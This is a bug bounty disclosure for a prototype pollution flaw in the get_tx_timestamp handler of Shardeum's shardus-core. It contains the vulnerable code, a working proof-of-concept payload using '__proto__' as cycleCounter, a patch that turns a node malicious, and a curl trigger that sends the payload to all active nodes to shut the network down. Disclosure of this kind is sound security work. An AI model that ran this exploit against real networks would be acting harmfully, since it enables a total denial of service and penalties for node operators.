# 34500 - \[BC - Critical] Prototype pollution vulnerability in get\_tx\_tim...

Submitted on Aug 14th 2024 at 07:04:48 UTC by @periniondon630 for [Boost | Shardeum: Core](https://immunefi.com/bounty/shardeum-core-boost/)

Report ID: #34500

Report type: Blockchain/DLT

Report severity: Critical

Target: <https://github.com/shardeum/shardus-core/tree/dev>

Impacts:

* Network not being able to confirm new transactions (total network shutdown)

## Description

## Brief/Intro

A prototype pollution vulnerability has been discovered in the get\_tx\_timestamp handler of the state-manager module. This vulnerability allows an attacker to manipulate the Object prototype, potentially leading to active node shutdown, slashing of the active node for early leave. If exploited in production/mainnet, this flaw could cause significant disruption and compromise the security of the system.

## Vulnerability Details

The vulnerability exists in the following code snippet:

```javascript
generateTimestampReceipt(
    txId: string,
    cycleMarker: string,
    cycleCounter: CycleRecord['counter']
  ): TimestampReceipt {
    const tsReceipt: TimestampReceipt = {
      txId,
      cycleMarker,
      cycleCounter,
      // shardusGetTime() was replaced with shardusGetTime() so we can have a more reliable timestamp consensus
      timestamp: shardusGetTime(),
    }
    const signedTsReceipt = this.crypto.sign(tsReceipt)
    /* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt generated for txId ${txId}: ${utils.stringifyReduce(signedTsReceipt)}`)

    // caching ts receipt for later nodes
    if (!this.txTimestampCache[signedTsReceipt.cycleCounter]) {
      this.txTimestampCache[signedTsReceipt.cycleCounter] = {}
    }

    // cache to txId map
    this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt
    if (Context.config.p2p.timestampCacheFix) {
      // eslint-disable-next-line security/detect-object-injection
      this.txTimestampCacheByTxId[txId] = signedTsReceipt
      this.seenTimestampRequests[txId] = true
    }
    /* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt cached for txId ${txId} in cycle ${signedTsReceipt.cycleCounter}: ${utils.stringifyReduce(signedTsReceipt)}`)
    return signedTsReceipt
  }
```

Function is called from get\_tx\_timestamp handler, all parameters are coming from user controlled input and can be crafted to include special properties such as `__proto__`, allowing an attacker to manipulate the Object prototype. Here is get\_tx\_timestamp code:

```javascript
this.p2p.registerInternal(
      'get_tx_timestamp',
      async (
        payload: { txId: string; cycleCounter: number; cycleMarker: string },
        respond: (arg0: Shardus.TimestampReceipt) => unknown
      ) => {
        const { txId, cycleCounter, cycleMarker } = payload
        /* eslint-disable security/detect-object-injection */
        if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
          await respond(this.txTimestampCache[cycleCounter][txId])
        } else {
          const tsReceipt: Shardus.TimestampReceipt = this.generateTimestampReceipt(
            txId,
            cycleMarker,
            cycleCounter
          )
          await respond(tsReceipt)
        }
        /* eslint-enable security/detect-object-injection */
      }
    )
```

The values for parameters should be chosen in a way first condition will go to else case. The following exploit demonstrates this vulnerability:

```javascript
Context.network.registerExternalGet('run-attack', async (req, res) => {
  const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
  for (const node of activeByIdOrder) {
    await this.p2p.tell([node], 'get_tx_timestamp', payload)
  }
})
```

## Impact Details

The potential impacts of this vulnerability are severe and include:

* complete network shutdown, which demonstrates by exploit
* slashing active node by early leave penalty.

## References

* [OWASP: Prototype Pollution](https://owasp.org/www-community/attacks/Prototype_Pollution)
* [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')](https://cwe.mitre.org/data/definitions/1321.html)

## Proof of Concept

* Set up and launch a test Shardeum network.
* Apply the following patch to the shardus-core repository to introduce a malicious node:

```javascript
diff --git a/src/state-manager/index.ts b/src/state-manager/index.ts
index f22738cf..a189e16e 100644
--- a/src/state-manager/index.ts
+++ b/src/state-manager/index.ts
@@ -2169,6 +2169,13 @@ class StateManager {
       binaryGetAccountQueueCountHandler.handler
     )

+    Context.network.registerExternalGet('run-attack', async (req, res) => {
+        const payload = { txId: 'debug', receipt2: 'lorem', cycleCounter: '__proto__' }
+        for (const node of activeByIdOrder) {
+            await this.p2p.tell([node], 'get_tx_timestamp', payload)
+        }
+    })
+
     Context.network.registerExternalGet('debug_stats', isDebugModeMiddleware, (_req, res) => {
       const cycle = this.currentCycleShardData.cycleNumber - 1

```

* Build and run your malicious node; it will be capable of attacking and shutting down the network.
* Wait until malicious node will become active.
* Initiate the attack from the malicious node using the following curl command:

```
curl 'http://<MALICIOUS_NODE_IP>:<EXTERNAL_PORT>/run-attack'
```

* The exploit code will iterate through all active nodes in the network and shut them down.
* Wait until all nodes appear red on the monitor webpage, indicating they are offline.
* Check the logs (e.g., fatal logs) to confirm that nothing can be processed.
